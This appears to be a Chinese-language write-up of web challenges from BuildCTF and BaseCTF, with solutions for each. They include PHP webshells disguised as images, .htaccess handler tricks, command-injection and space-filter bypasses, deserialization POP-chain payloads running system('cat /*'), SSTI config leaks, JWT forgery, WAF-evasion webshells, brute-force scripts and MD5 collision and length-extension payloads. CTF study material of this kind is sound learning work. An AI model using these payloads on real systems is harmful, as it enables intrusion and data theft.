//只接受2042.99.99这一天发送的请求
通过Date来伪造时间
Date: 2042.99.99
//只有发起请求的邮箱为root@buildctf.vip才能访问后台
通过From来伪造邮箱
From: root@buildctf.vip
//只接受代理为buildctf.via的请求
通过Via来设置代理
Via: buildctf.via
//浏览器只接受名为buildctf的语言
通过Accept-Language来规定语言
Accept-Language: buildctf

最后直接添加post提交

1
This_is_flag

最后的报文

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
POST / HTTP/1.1
Host: 27.25.151.80:37647
Content-Length: 30
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://27.25.151.80:37647
Content-Type: application/x-www-form-urlencoded
User-Agent: buildctf
X-Forwarded-For: 127.0.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: blog.buildctf.vip
Accept-Encoding: gzip, deflate
Accept-Language: buildctf
Date: 2042.99.99
From: root@buildctf.vip
Via: buildctf.via
Connection: close

user=root&getFlag=This_is_flag

babyupload

知识点为:.htaccess配置文件+短标签绕过

首先先上传一个.jpg文件,这个.jpg文件内容为我们的一句话木马,发现它输出一句不认识图片,这里已经修改为

1
2
Content-Type: image/jpeg 并且 后缀为.jpg了,可能原因就是图片头的作用
直接在文件开头添加 GIF89a 即可

可以尝试去绕过后缀,尝试修改为其它php形式的后缀,.php .phtml .php3,但是发现都步可以绕过,这里猜测源码里面有了白名单过滤,可能只能传jpg文件,这里也就可以猜测出可能要通过配置文件来进行解析我们上传的图片马

目前是这样的

现在就可以去尝试添加马在图片里面,这里发现提交有php的都会被waf,所以js头和简单的马都不可以写,就可以通过短标签进行绕过

1
<?= ?>

里面又继续进行了过滤,比如: system eval

所以我们可以通过反引号``来进行绕过,这里就完成了木马的上传

1
<?= `ls /`;?>

上传配置文件,刚开始因为该目录下有upload.php以为可以直接上传.user.ini但是发现绕过不了,就可以尝试上传.htaccess文件,发现上传成功只需要修改

1
Content-Type: image/jpeg

最后就是编写.htaccess文件内容,里面的qwe.jpg为上传的图片马的名字

1
2
3
<FilesMatch "qwe.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

这里再去访问/uploads/qwe.jpg就发现命令执行了,但是找不到flag

尝试通过find命令来查找还是一样

最后发现在环境变量里面,通过export来即可

1
<?= `export`;?>

find-the-id

爆破题

这里要输入一个数字直接通过bp爆破模块即可

这里就可以确定为207,查看源码的flag

我写的网站被rce了?

rce管道符

这里有几个按钮,挨个点一次发现’查看日志’可以查看文件

抓报发现有一个参数,如果进行修改就发现一个提示

1
2
log_type=access
/var/log/nginx/ls.log该文件路径错误或不合法,请查看路径是否正确

猜测这里是通过拼接命令进行执行命令,但是过滤;&&也不能有就可以尝试通过||来进行命令,因为后面的.log的进行拼接去除所以就可以通过

1
||ls|| //发现报错但是执行成功

尝试知道这里过滤了空格和flag cat tac 用nl来读取${IFS}绕过空格,?来绕过flag

1
||nl${IFS}/f???||

LovePopChain

PHP反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php
class MyObject{
public $NoLove="Do_You_Want_Fl4g?";
public $Forgzy;
public function __wakeup()
{
if($this->NoLove == "Do_You_Want_Fl4g?"){
echo 'Love but not getting it!!';
}
}
public function __invoke()
{
$this->Forgzy = clone new GaoZhouYue();
}
}

class GaoZhouYue{
public $Yuer;
public $LastOne;
public function __clone()
{
echo '最后一次了, 爱而不得, 未必就是遗憾~~';
eval($_POST['y3y4']);
}
}

class hybcx{
public $JiuYue;
public $Si;

public function __call($fun1,$arg){
$this->Si->JiuYue=$arg[0];
}

public function __toString(){
$ai = $this->Si;
echo 'I W1ll remember you';
return $ai();
}
}



if(isset($_GET['No_Need.For.Love'])){
@unserialize($_GET['No_Need.For.Love']);
}else{
highlight_file(__FILE__);
}

先逆向分析链子

1
GaoZhouYue::_clone()->MyObject::__invoke()->hybcx::__toString()->MyObject::__wakeup()

最后需要在GaoZhouYue::_clone()里面执行命令,而调用clone()魔术方法需要在调用clone方法时被调用,在MyObject::invoke()里面调用了clone,hybcx::toString()里面出现将类以函数的方法进行调用,MyObject::wakeup()最后通过比较字符串调用__toString()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
 <?php
class MyObject{
public $NoLove="Do_You_Want_Fl4g?";
public $Forgzy;
}

class GaoZhouYue{
public $Yuer;
public $LastOne;
}

class hybcx{
public $JiuYue;
public $Si;
}
$a=new MyObject();
$a->NoLove=new hybcx();
$a->NoLove->Si=new MyObject();
$a->NoLove->Si->Forgzy=new GaoZhouYue();
echo serialize($a);
// O:8:"MyObject":2:{s:6:"NoLove";O:5:"hybcx":2:{s:6:"JiuYue";N;s:2:"Si";O:8:"MyObject":2:{s:6:"NoLove";s:17:"Do_You_Want_Fl4g?";s:6:"Forgzy";O:10:"GaoZhouYue":2:{s:4:"Yuer";N;s:7:"LastOne";N;}}}s:6:"Forgzy";N;}

最后就通过修改参数使其合法得

1
No[Need.For.Love=O:8:"MyObject":2:{s:6:"NoLove";O:5:"hybcx":2:{s:6:"JiuYue";N;s:2:"Si";O:8:"MyObject":2:{s:6:"NoLove";s:17:"Do_You_Want_Fl4g?";s:6:"Forgzy";O:10:"GaoZhouYue":2:{s:4:"Yuer";N;s:7:"LastOne";N;}}}s:6:"Forgzy";N;}

post提交

1
y3y4=system('cat /*');

RedFlag

ssti

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.getenv('FLAG')
@app.route('/')
def index():
return open(__file__).read()
@app.route('/redflag/<path:redflag>')
def redflag(redflag):
def safe_jinja(payload):
payload = payload.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist])+payload
return flask.render_template_string(safe_jinja(redflag))

return flask.render_template_string(safe_jinja(redflag))

这里将redflag进行模块渲染,并且redflag为

1
/redflag/<path:redflag>

表示我们提交的/redflag/路由下的目录

1
2
3
payload = payload.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist])+payload

这里将()置空,并且将config、self的值变为None

如果直接进行常规的ssti就没有办法实现,但是flag写入了app.config[‘FLAG’]

就可以通过

1
{{url_for.__globals__}}//获取所有的变量

最后payload

1
{{url_for.__globals__['current_app'].config}} //获得当前app下的config值

题目给出了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
const express = require('express')
const app = express();

const http = require('http').Server(app);

const port = 3000;

const socketIo = require('socket.io');
const io = socketIo(http);

let sessions = {}
let errors = {}

app.use(express.static(__dirname));

app.get('/', (req, res) => {
res.sendFile("./index.html")
})

io.on('connection', (socket) => {
sessions[socket.id] = 0
errors[socket.id] = 0

socket.on('disconnect', () => {
console.log('user disconnected');
});

socket.on('chat message', (msg) => {
socket.emit('chat message', msg);
});

socket.on('receivedError', (msg) => {
sessions[socket.id] = errors[socket.id]
socket.emit('recievedScore', JSON.stringify({"value":sessions[socket.id]}));
});

socket.on('click', (msg) => {
let json = JSON.parse(msg)

if (sessions[socket.id] > 1e20) {
socket.emit('recievedScore', JSON.stringify({"value":"FLAG"}));
return;
}

if (json.value != sessions[socket.id]) {
socket.emit("error", "previous value does not match")
}

let oldValue = sessions[socket.id]
let newValue = Math.floor(Math.random() * json.power) + 1 + oldValue

sessions[socket.id] = newValue
socket.emit('recievedScore', JSON.stringify({"value":newValue}));

if (json.power > 10) {
socket.emit('error', JSON.stringify({"value":oldValue}));
}

errors[socket.id] = oldValue;
});
});

http.listen(port, () => {
console.log(`App server listening on ${port}. (Go to http://localhost:${port})`);
});

其实也没有什么,主要看到给出flag的地方

1
2
3
4
if (sessions[socket.id] > 1e20) {
socket.emit('recievedScore', JSON.stringify({"value":"FLAG"}));
return;
}

这里如果session的socket.id>1e20就返回flag,但是可以发现为js代码

直接点击抓包就发现,会有一串字符串进行返回

1
42["click","{\"power\":1,\"value\":2}"]

这里可以直接通过前端输入函数来实现,将power进行修改,并且

1
2
socket.off('error'); //直接关闭error函数
socket.emit('click', JSON.stringify({"power":1e100, "value":send.value})); //直接修改其值

这里也可以通过抓包进行修改

1
42["click","{\"power\":1e30,\"value\":1e30}"]

出现这个,继续放包

1
2
42["error","previous value does not match"]
42["recievedScore","{\"value\":2.118902775372593e+29}"]

把后面两个进行修改,破坏error函数的修改即可

1
2
43["error","{\"value\":2}"]
43["receivedError","recieved"]

再点击一次就可以得flag

Why_so_serials?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php 

error_reporting(0);

highlight_file(__FILE__);

include('flag.php');

class Gotham{
public $Bruce;
public $Wayne;
public $crime=false;
public function __construct($Bruce,$Wayne){
$this->Bruce = $Bruce;
$this->Wayne = $Wayne;
}
}

if(isset($_GET['Bruce']) && isset($_GET['Wayne'])){
$Bruce = $_GET['Bruce'];
$Wayne = $_GET['Wayne'];

$city = new Gotham($Bruce,$Wayne);
if(preg_match("/joker/", $Wayne)){
$serial_city = str_replace('joker', 'batman', serialize($city));
$boom = unserialize($serial_city);
if($boom->crime){
echo $flag;
}
}else{
echo "no crime";
}
}else{
echo "HAHAHAHA batman can't catch me!";
}

这个是一个字符串逃逸的题,只需要将crime变为true即可

首先需要先将crime改为true,然后就可以开始尝试字符串逃逸,先看看需要逃逸的字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
";s:5:"crime";b:1;}  //19个字符需要吐
<?php
class Gotham{
public $Bruce="aaa";
public $Wayne="aaaa";
public $crime=true;
}
for($q=0;$q<19;$q++){
echo "joker";
}
echo '<br>';
$a=new Gotham();
echo serialize($a);

//jokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjoker
?Bruce=aa&Wayne=jokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjoker";s:5:"crime";b:1;}

ez_md5

开始需要输入sql语句弱密码进行登入 ffifdyop

进去后直接给源码,这里直接给了提示robots,可以先看看robots.txt有什么

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php 
error_reporting(0);
///robots
highlight_file(__FILE__);
include("flag.php");
$Build=$_GET['a'];
$CTF=$_GET['b'];
if($_REQUEST) {
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('不可以哦!');
}
}
if($Build != $CTF && md5($Build) == md5($CTF))
{
if(md5($_POST['Build_CTF.com']) == "3e41f780146b6c246cd49dd296a3da28")
{
echo $flag;
}else die("再想想");

}else die("不是吧这么简单的md5都过不去?");
?>

robots.txt

1
2
evel2
md5(114514xxxxxxx)

这里提示我们去通过爆破,首先第一层可以直接通过数组绕过

下面就是爆破脚本

1
2
3
4
5
6
7
<?php
for($a=1145140000000;$a<1145149999999;$a++){
if(md5($a)=="3e41f780146b6c246cd49dd296a3da28"){
echo $a;
break;
}
}//1145146803531

最后考虑参数合法直接提交即可

1
2
3
a[]=1&b[]=2

Build[CTF.com=1145146803531

eazyl0gin

题目给出源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
router.post('/login',function(req,res,next){
var data = {
username: String(req.body.username),
password: String(req.body.password)
}
const md5 = crypto.createHash('md5');
const flag = process.env.flag

if(data.username.toLowerCase()==='buildctf'){ //如果将username转为小写强等于buildctf就return
return res.render('login',{data:"你不许用buildctf账户登陆"})
}

if(data.username.toUpperCase()!='BUILDCTF'){//如果将username转为大写不是弱等于BUILDCTF就return
return res.render('login',{data:"只有buildctf这一个账户哦~"})
}

var md5pwd = md5.update(data.password).digest('hex')
if(md5pwd.toLowerCase()!='b26230fafbc4b147ac48217291727c98'){
return res.render('login',{data:"密码错误"})
}
return res.render('login',{data:flag})

})

这里其实就主要考一个特性,如果知道了就可以很快写出

1
2
3
在Character.toUpperCase()函数中,字符ı会转变为I,字符ſ会变为S。
在Character.toLowerCase()函数中,字符İ会转变为i,字符K会转变为k。
buıldctf

密码就直接通过md5解密得

1
012346

登入即可获取flag

刮刮乐

如何直接刮到一半时就会提示传参cmd,如果直接进行get传参就有提示

1
//不对哦,你不是来自baidu.com的自己人哦

所以需要添加请求头

1
Referer: baidu.com

其实这个是一个无回显rce,打无回显一般就三个思路,首先可以尝试是否可以将命令结果写入文件进行回显,否则出网就可以通过反弹shell来查看结果,还可以通过内存马来回显

这个题就可以通过第一种方法,并且环境不出网

1
2
ls>>1.txt //这个在这个题是无法写入的
cat /*|tee 1.txt

sub

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
import datetime
import jwt
import os
import subprocess
from flask import Flask, jsonify, render_template, request, abort, redirect, url_for, flash, make_response
from werkzeug.security import generate_password_hash, check_password_hash

app = Flask(__name__)
app.secret_key = 'BuildCTF'
app.config['JWT_SECRET_KEY'] = 'BuildCTF'

DOCUMENT_DIR = os.path.abspath('src/docs')
users = {}

messages = []

@app.route('/message', methods=['GET', 'POST'])
def message():
if request.method == 'POST':
name = request.form.get('name')
content = request.form.get('content')

messages.append({'name': name, 'content': content})
flash('Message posted')
return redirect(url_for('message'))

return render_template('message.html', messages=messages)

@app.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')
if username in users:
flash('Username already exists')
return redirect(url_for('register'))
users[username] = {'password': generate_password_hash(password), 'role': 'user'}
flash('User registered successfully')
return redirect(url_for('login'))
return render_template('register.html')

@app.route('/login', methods=['POST', 'GET'])
def login():
if request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')
if username in users and check_password_hash(users[username]['password'], password):
access_token = jwt.encode({
'sub': username,
'role': users[username]['role'],
'exp': datetime.datetime.utcnow() + datetime.timedelta(minutes=30)
}, app.config['JWT_SECRET_KEY'], algorithm='HS256')
response = make_response(render_template('page.html'))
response.set_cookie('jwt', access_token, httponly=True, secure=True, samesite='Lax',path='/')
# response.set_cookie('jwt', access_token, httponly=True, secure=False, samesite='None',path='/')
return response
else:
return jsonify({"msg": "Invalid username or password"}), 401
return render_template('login.html')

@app.route('/logout')
def logout():
resp = make_response(redirect(url_for('index')))
resp.set_cookie('jwt', '', expires=0)
flash('You have been logged out')
return resp

@app.route('/')
def index():
return render_template('index.html')

@app.route('/page')
def page():
jwt_token = request.cookies.get('jwt')
if jwt_token:
try:
payload = jwt.decode(jwt_token, app.config['JWT_SECRET_KEY'], algorithms=['HS256'])
current_user = payload['sub']
role = payload['role']
except jwt.ExpiredSignatureError:
return jsonify({"msg": "Token has expired"}), 401
except jwt.InvalidTokenError:
return jsonify({"msg": "Invalid token"}), 401
except Exception as e:
return jsonify({"msg": "Invalid or expired token"}), 401

if role != 'admin' or current_user not in users:
return abort(403, 'Access denied')

file = request.args.get('file', '')
file_path = os.path.join(DOCUMENT_DIR, file)
file_path = os.path.normpath(file_path)
if not file_path.startswith(DOCUMENT_DIR):
return abort(400, 'Invalid file name')

try:
content = subprocess.check_output(f'cat {file_path}', shell=True, text=True)
except subprocess.CalledProcessError as e:
content = str(e)
except Exception as e:
content = str(e)
return render_template('page.html', content=content)
else:
return abort(403, 'Access denied')

@app.route('/categories')
def categories():
return render_template('categories.html', categories=['Web', 'Pwn', 'Misc', 'Re', 'Crypto'])

if __name__ == '__main__':
app.run(host='0.0.0.0', port=5050)

主要执行命令的位置,这里我们可以控制文件路径,只需要绕过前面的身份验证即可

1
content = subprocess.check_output(f'cat {file_path}', shell=True, text=True)

首先需要先去login一个身份,进行登入时就会有一个set-cookie

最后需要通过伪造jwt来实现身份绕过

app.secret_key = ‘BuildCTF’直接通过jwt.io来进行绕过即可

最后带着jwt来访问page就可以提交file,这里执行命令时对空格进行了特殊处理,flag在环境变量里面

1
?file=aa;export

ez_waf

通过脏数据来绕过waf,这里的文件上传没有过滤文件名,所以可以直接提交php文件,但是过滤了太多的符号

<=等等,所以根本无法构造正常的木马

1
2
3
4
with open('qwe.php', 'w') as file:
file.write('1' * 100000)
file.write('\n')
file.write("<?php @eval($_POST['a']);?>")

直接通过蚁剑连接即可

tflock

这个题当时没有写出来,看了看题解,也是笑了,原来是环境的问题

首先在robots.txt下获取提示,在/passwordList里面有爆破的密码

首先可以通过该密码进行登入

1
2
ctfer:123456
admin:x

这里主要是要爆破出admin登入的密码,但是这里需要注意如果账户已经锁定,爆破的时候还是锁定的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests
url = 'http://27.25.151.80:45304/login.php'
n = 0
ctfer = {
'username': 'ctfer',
'password': '123456'
}
aaa = requests.post(url, data=ctfer)
for password in open('password.txt'):
admin = {
'username': 'admin',
'password': password.replace('\n', '')
}
aaa = requests.post(url, data=admin)
print(aaa.text)
if "true" in aaa.text:
print(admin)
break
else:
aaa = requests.post(url, data=ctfer)

最后提交即可得flag

[Week1] HTTP 是什么呀

这个题考的是http基础知识

项目 你需要传入 当前传入值 是否正确
GET 参数 base we1c%00me close (请注意 URL 转义)
POST 参数 base fl@g close
Cookie c00k13 i can’t eat it close
用户代理 (User-Agent) Base Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0 close
来源 (Referer) Base close
你的 IP 127.0.0.1 10.32.0.0 close

首先需要通过get提交basectf的值为we1c%00me,但是需要注意在url里面%00为空格,所以需要通过将%00进行url编码,最后就是%2500 这样就可以?basectf=we1c%2500me

第二个直接通过hackerbar来post提交Base=fl@g即可

由于最后面一个要通过伪造ip地址,需要通过X-Forwarded-For来实现,所以我改为通过用bp来进行

请求报文:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /?basectf=we1c%2500me HTTP/1.1 
Host: challenge.basectf.fun:34690
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent:Base
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9
Connection: close
Cookie: c00k13=i can't eat it
Referer: Base
X-Forwarded-For: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 9

Base=fl@g

success.php?flag=QmFzZUNURnsxOTE1ZDQ0Ni04NzFhLTRjNmUtYTgyOS0xYTgxMTQ0N2QxZWV9Cg==

最后base64解密即可获得flag

[Week1] 喵喵喵´•ﻌ•`

知识点:rce

给出源码

1
2
3
4
5
6
<?php 
highlight_file(__FILE__);
error_reporting(0);
$a =$_GET['DT'];
eval($a);
?>

直接提交DT=system(‘cat /*’);即可获得flag

[Week1] md5绕过

知识点:弱比较

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
highlight_file(__FILE__);
error_reporting(0);
require 'flag.php';
if (isset($_GET['name']) && isset($_POST['password']) && isset($_GET['name2']) && isset($_POST['password2']) ){
$name = $_GET['name'];
$name2 =$_GET['name2'];
$password =$_POST['password'];
$password2 =$_POST['password2'];
if ($name != $password && md5($name) == md5($password)){
if ($name2 !== $password2 && md5($name2) === md5($password2)){ echo $flag;
} else{
echo "再看看啊,马上绕过嘞!";
}
}
else
{
echo "错啦错啦";
}}else {
echo '没看到参数呐';
}
?>

第一层直接通过输入name和password两个不同字符串,但是md5值都是以0e开头即可,name2和password2通过数组来进行绕过,或者直接都通过数组绕过也可以

?name=QNKCDZO&name2[]=1

password=240610708&password2[]=2

[Week1] A Dark Room

直接查看源码或者F12得flag

[Week1] upload

知识点:文件上传

绕过方法通过mime绕过,直接修改

Content-Type: image/jpeg

上传1.php

<?php system(‘ls’);?>

来进行绕过,在查看/uploads/1.php得flag

[Week1] Aura 酱的礼物

知识点:php伪协议

<?php highlightfile(_FILE); // Aura 酱,欢迎回家~ // 这里有一份礼物,请你签收一下哟~ $pen = $_POST[‘pen’]; if (file_get_contents($pen) !== ‘Aura’) { die(‘这是 Aura 的礼物,你不是 Aura!’); } // 礼物收到啦,接下来要去博客里面写下感想哦~ $challenge = $_POST[‘challenge’]; if (strpos($challenge, ‘http://jasmineaura.github.io‘) !== 0) { die(‘这不是 Aura 的博客!’); } $blog_content = file_get_contents($challenge); if (strpos($blog_content, ‘已经收到Kengwang的礼物啦’) === false) { die(‘请去博客里面写下感想哦~’); } // 嘿嘿,接下来要拆开礼物啦,悄悄告诉你,礼物在 flag.php 里面哦~ $gift = $_POST[‘gift’]; include($gift);

这里我就不去将代码展开了,首先会通过file_get_contents()函数来获取pen里面得内容,可以通过data伪协议或者php://input写入,然后就是判断http://jasmineaura.github.io是否在challenge参数得开头,再通过file_get_contents($challenge)来发起http请求,查看是否有 已经收到Kengwang的礼物啦 这一句话,这里就可以通过覆盖前面得url来进行绕过通过@符号,最后就是通过php://filter来读取flag.php

pen=data://text/plain,Aura&challenge=http://jasmineaura.github.io@challenge.basectf.fun:25499&gift=php://filter/read=convert.base64-encode/resource=flag.php

再通过base64解码就可以获取flag

[Week2] ez_ser

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php 
highlight_file(__FILE__);
error_reporting(0);

class re{
public $chu0;
public function __toString(){
if(!isset($this->chu0)){
return "I can not believes!";
}
$this->chu0->$nononono;
}
}
class web {
public $kw;
public $dt;
public function __wakeup() {
echo "lalalla".$this->kw;
}

public function __destruct() {
echo "ALL Done!";
}
}
class pwn {
public $dusk;
public $over;
public function __get($name) {
if($this->dusk != "gods"){
echo "什么,你竟敢不认可?";
}
$this->over->getflag();
}
}
class Misc {
public $nothing;
public $flag;
public function getflag() {
eval("system('cat /flag');");
}
}
class Crypto {
public function __wakeup() {
echo "happy happy happy!";
}

public function getflag() {
echo "you are over!";
}
}
$ser = $_GET['ser'];
unserialize($ser);
?>

这里的链子就是

web->re->pwn->misc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php 
class re{
public $chu0;
}
class web {
public $kw;
public $dt;
}
class pwn {
public $dusk;
public $over;
}
class Misc {
public $nothing;
public $flag;
}
$a=new web();
$a->kw=new re();
$a->kw->chu0=new pwn();
$a->kw->chu0->over=new Misc();
echo serialize($a);
O:3:"web":2:{s:2:"kw";O:2:"re":1:{s:4:"chu0";O:3:"pwn":2:{s:4:"dusk";N;s:4:"over";O:4:"Misc":2:{s:7:"nothing";N;s:4:"flag";N;}}}s:2:"dt";N;}

[Week2] 一起吃豆豆

直接查看源码的index.js仔细看就可以的到一个类似加密的密文

解密的flag

[Week2] 你听不到我的声音

1
2
3
<?php 
highlight_file(__FILE__);
shell_exec($_POST['cmd']);

这里直接执行命令没有回显,所以可以通过将命令写入文件来实现

1
2
ls />1.txt
cat /*>1.txt

[Week2] Really EZ POP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
<?php 
highlight_file(__FILE__);
class Sink
{
private $cmd = 'echo 123;';
public function __toString()
{
eval($this->cmd);
}
}
class Shark
{
private $word = 'Hello, World!';
public function __invoke()
{
echo 'Shark says:' . $this->word;
}
}
class Sea
{
public $animal;
public function __get($name)
{
$sea_ani = $this->animal;
echo 'In a deep deep sea, there is a ' . $sea_ani();
}
}
class Nature
{
public $sea;

public function __destruct()
{
echo $this->sea->see;
}
}
if ($_POST['nature']) {
$nature = unserialize($_POST['nature']);
}
<?php
class Sink
{
private $cmd = 'system("cat /*");';
}
class Shark
{
private $word ;
public function __construct()
{
$this->word=new Sink;
}
}
class Sea
{
public $animal;

}
class Nature
{
public $sea;
}
$a=new Nature();
$a->sea=new Sea();
$a->sea->animal=new Shark();
echo urlencode(serialize($a));

在bp中进行提交

1
nature=O%3A6%3A%22Nature%22%3A1%3A%7Bs%3A3%3A%22sea%22%3BO%3A3%3A%22Sea%22%3A1%3A%7Bs%3A6%3A%22animal%22%3BO%3A5%3A%22Shark%22%3A1%3A%7Bs%3A11%3A%22%00Shark%00word%22%3BO%3A4%3A%22Sink%22%3A1%3A%7Bs%3A9%3A%22%00Sink%00cmd%22%3Bs%3A17%3A%22system%28%22cat+%2F%2A%22%29%3B%22%3B%7D%7D%7D%7D

[Week2] RCEisamazingwithspace

1
2
3
4
5
6
7
8
9
10
11
<?php 
highlight_file(__FILE__);
$cmd = $_POST['cmd'];
// check if space is present in the command
// use of preg_match to check if space is present in the command
if (preg_match('/\s/', $cmd)) {
echo 'Space not allowed in command';
exit;
}
// execute the command
system($cmd);

这里进行了空格过滤,尝试了一下不能通过%09来绕过,但是${IFS}可以

1
cmd=cat${IFS}/*

[Week2] 所以你说你懂 MD5?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php 
session_start();
highlight_file(__FILE__);
// 所以你说你懂 MD5 了?
$apple = $_POST['apple'];
$banana = $_POST['banana'];
if (!($apple !== $banana && md5($apple) === md5($banana))) {
die('加强难度就不会了?');
}
// 什么? 你绕过去了?
// 加大剂量!
// 我要让他成为 string
$apple = (string)$_POST['appple'];
$banana = (string)$_POST['bananana'];
if (!((string)$apple !== (string)$banana && md5((string)$apple) == md5((string)$banana))) {
die('难吗?不难!');
}
// 你还是绕过去了?
// 哦哦哦, 我少了一个等于号
$apple = (string)$_POST['apppple'];
$banana = (string)$_POST['banananana'];
if (!((string)$apple !== (string)$banana && md5((string)$apple) === md5((string)$banana))) {
die('嘻嘻, 不会了? 没看直播回放?');
}
// 你以为这就结束了
if (!isset($_SESSION['random'])) {
$_SESSION['random'] = bin2hex(random_bytes(16)) . bin2hex(random_bytes(16)) . bin2hex(random_bytes(16));
}
// 你想看到 random 的值吗?
// 你不是很懂 MD5 吗? 那我就告诉你他的 MD5 吧
$random = $_SESSION['random'];
echo md5($random);
echo '<br />';
$name = $_POST['name'] ?? 'user';
// check if name ends with 'admin'
if (substr($name, -5) !== 'admin') {
die('不是管理员也来凑热闹?');
}
$md5 = $_POST['md5'];
if (md5($random . $name) !== $md5) {
die('伪造? NO NO NO!');
}
// 认输了, 看样子你真的很懂 MD5
// 那 flag 就给你吧
echo "看样子你真的很懂 MD5";
echo file_get_contents('/flag');加强难度就不会了?

这里有四层

第一层直接通过数组绕过即可

1
apple[]=1&banana[]=2

第二层通过md5值为0e开头的字符串即可

1
appple=s878926199a&bananana=s155964671a

第三层通过强碰撞绕过即可,这里要通过bp不能通过hackbar来传参

1
apppple=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&banananana=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

第四层通过就是哈希长度扩展,这里就通过hash-ext-attack-master来自动生成

bin2hex(random_bytes(16)) . bin2hex(random_bytes(16)) . bin2hex(random_bytes(16))这里相当于96位的字符串即密钥

name里面后面要添加admin字符串所以我们需要在后面添加一个以admin结尾的字符串,其它任意,这里就随便为qadmin

这里题目会给一个原始的md5值

这里最后就可以提交的flag

1
apple[]=1&banana[]=2&appple=s878926199a&bananana=s155964671a&apppple=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&banananana=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2&name=%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%03%00%00%00%00%00%00admin&md5=c15df3f0cb8dc43eccdbd0514d79eddb

[Week2] 数学大师

这个就是纯脚本

每一道题目需要在 5 秒内解出, 传入到 $_POST['answer'] 中, 解出 50 道即可, 除法取整

本题依赖 session,请在请求时开启 session cookie

1
2
3
4
5
6
7
8
9
10
